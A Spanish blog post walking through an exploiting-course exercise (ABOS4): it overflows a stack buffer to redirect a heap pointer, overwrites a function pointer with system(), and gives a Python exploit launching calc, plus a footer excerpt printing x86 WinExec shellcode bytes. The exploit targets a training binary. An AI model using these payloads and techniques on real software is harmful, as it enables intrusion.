Ir al contenido principal

Iniciación a la técnica de ROP

Resolución del ABOS4 curso Free tools

Buenos días,

Durante estos días de alarma sanitaria, en los que toca estar encerrados por el virus COVID-19 aprovechamos para seguir avanzando en el curso de Ricardo de Reversing con herramientas alternativas,

Para ello, abrimos el ejecutable (ABOS4) usando IDAPro, y analizamos un poco en estático los componentes del binario, para poder tener una idea de como podemos explotarlo.



Donde tenemos en el main() del binario las siguientes llamadas:


  1. MessageBox()--> Muestra el mensaje de ejecuta una calculadora
  2. Malloc() --> Reserva un espacio de memoria en el heap y devuelve un puntero que apunta al trozo reservado, este se almacena en la variable local mem_reservada.
  3. Gets()-->Escribimos en una zona de memoria almacenada en la variable Var_a_machacar.
  4. Gets()-->Escribimos en la zona del heap reservada por el malloc y almacenada en mem_reservada.
  5. fun_externa()-->Ejecuta una función de fuera del main, cuya direccion esta apuntada por var_externa y usa como parámetro la variable var_a_machacar.
Por ultimo nuestro main() termina con bloques básicos mas pequeños que hacen que nuestro programa se quede en un bucle infinito.


mov eax, 1
test eax,eax
jz short loc_40106A


En la siguiente parte de la entrada, vemos como podemos encarar la solución de este ejercicio.

1)Tal y como se resuelve en el tutorial proporcionado por @ricardo.

Tenemos que el stack de nuestra función main(), la cual se encuentra compuesta por las siguientes variables locales:

                                     

Donde tenemos almacenadas las variables Var_a_machacar, que la pasamos como argumento al primer gets() y el mem_reservada, donde se almacena el puntero que apunta a la reserva de memoria del heap (malloc()).

Por lo visto en tutoriales anteriores, podemos deducir que si en el primer gets() introducimos más de 256 caracteres machacaremos el puntero que se encuentra justo en la posición de abajo, que es el que apunta a heap.

Por lo tanto eso es lo primero que haremos en nuestro exploit. es sobrescribir este puntero, mas adelante vamos a ver que dirección vamos a poner en el stack.

Exploit:

payload = 256 * "A" + Dir_mem(X) + ????


Hemos visto que en el punto 4, se llamaba a la función gets(), y se le pasaba en este caso como parámetro la dirección reservada con el malloc, por lo tanto si en el paso anterior, modificamos el valor de variable mem_reservada,  y ahora llamamos al gets() significa que podremos escribir en la dirección que nosotros queramos lo que le leamos por stdin, (Siempre que tenga permisos de escritura en la zona de memoria donde queramos escribir, sino nos saltará una excepción).

Por ultimo en el punto 5, vemos que se ejecuta una función, cuya dirección  esta apuntada por la variable var_externa(). Esta variable al no ser local, significa que no se encuentra en la stack frame de la función main(). De hecho y tras analizarlo con IDAPro, podemos ver que se encuentra en la sección .data y vemos que var_externa permite escritura, por lo que si modificamos su valor por una función que nos permita ejecutar cosas (system()), podremos ejecutar lo que queramos y nuestro programa, lo ejecutará.

Vamos a localizar con IDA_PRO todas la información que necesitamos para construir nuestro exploit:


Dirección de Var_externa --> 0x00415000

Direccion de System() --> La cual nos permite ejecutar lo que nosotros le indiquemos, como puede ser la calculadora o notepad. --> 0x00402557

*Podemos extaer la direccion de system() buscando en las strings "compsec"



Por ultimo, vemos que si modificamos la dirección de la función var_externa y la sustituimos por la dirección de System() , a este hay que pasarle como parámetro lo que queremos ejecutar, en el caso de la calculadora --> "calc\0"

Tal y como vemos en la siguiente imagen, esta cadena se tiene que encontrar en la variable var_a_machacar.



Ya que tenemos todos los componentes de nuestro exploit podemos crearlo:


Exploit v2:


import sys
from subprocess import Popen, PIPE
import struct
import random
import string

#Armamos nuestro payload 

payload = b"calc\x00" #Cadena que le pasamos a la funcion system()
payload += b"A"*(256 - len("calc\x00")) --> Relleno de 256 - el tamaño de la cadena
payload += struct.pack('<I',0x00415000) #Direccion de var_externa y que usamos para machacar el  puntero del malloc de los 64 bytes de memoria.
payload += b'\n' #Añadirlo para que termine de leer el primer gets
payload +=struct.pack('<I',0x00402557) #Entrada para el 2 gets y le introducimos la direccion del COMSPEC (es decir system).

#Arrancamos el programa y lo ejecutamos:

p1 = Popen(r"C:\Users\juan\Desktop\Curso_Reversing_freeTools\ejercicios\Ejercicios\ABOS\ABO4_VS_2017.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()


Un saludo en la siguiente entrada vamos a resolverlo de la forma propuesta por Ricardo que es pisando el SEH  e inyectando una shellcode.

Comentarios

Entradas populares de este blog

Hack the Box Eat the cake!

Buenas de nuevo, retomo esto en un "ratillo" que he sacado para ir dándole un poco de contenido al blog. Hoy nos ponemos con el resto Eat the cake! de HTB , ya que el otro día me calenté e hice un par de retos para ver lo oxidado que estaba... La verdad que bastante! 😑 El fichero os lo podéis bajar directamente de la página, cuyo SHA256: bd2efc7a1b23885d88d401b2a1fa1d4b307f6efcd76ee0a7d9486f0a8b06e586 Bueno vemos a ponernos manos a las obra, es un ejecutable por lo tanto nos iremos a nuestra máquina Windows que tenemos preparada para este tipo de retos, y abrimos el archivo con el software PEiD para ver si esta empaquetado/ofuscado, pero vamos que ya os digo que sí.                                       Vemos que PEiD nos dice que esta empaquetada con UPX 0.89.6 -1.02 / 1.05 - 2.90 --> Markus & Laszlo . Intentamos desempaquetar la muestra, usando UPX directamente con " upx -d" y tras desempaquetarlo, comprobamos si se  ha hecho de manera correc

Iniciación a la técnica de ROP

Buenas a todos, En esta entrada vamos a resolver el binario propuesto por el maestro con la protección DEP: Que previene de ejecutar el código que introducimos en el stack si se encuentra activada esta protección del binario. Para ver si un binario tiene la protección DEP (Data execution prevention) activa, p odemos mirarlo con la herramienta ProcessExplorer tal y como vamos a ver en el siguiente ejemplo activando la columna DEP del mismo para poder comprobar si el proceso tiene o no el DEP habilitado:                                 Vemos que al ser un sistema operativo de x64, todos nuestros procesos tiene el DEP habilitado por defecto, y hemos de comprobar también si tiene alguna otra protección nuestro binario como el ASLR(Address Space Layout Randomization), encargado de aleatorizar las direcciones de la memoria virtual cuando nuestro binario es cargado en memoria virtual. Vamos a ver todos los módulos que componen el binario (Programa + librerias(dlls)) para ver si algún

WinDBG- Diseño de ShellCodes

Buenas a  todos, En este pequeño tutorial, voy a intentar explicar y mostrar con ejemplos como crear shellcode tanto en binarios de x86, y posteriormente crearé una entrada para ejemplos en binarios en x64. Este tutorial esta basado en la parte 6 de los tutoriales  de Ricardo Narvaja de uso de herramientas de exploiting gratuitas y el tutorial de desarrollo de malware de ZeroPad, así que si os gusta las gracias a ellos. Partimos de una shellcode que vamos a detallar, para explicar como funciona, y los componentes de la misma. Para ello hemos creado un binario donde se ejecuta únicamente esta shellcode para que nos sea mas fácil a la hora de analizarla. winexec_calc_shellcode =b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'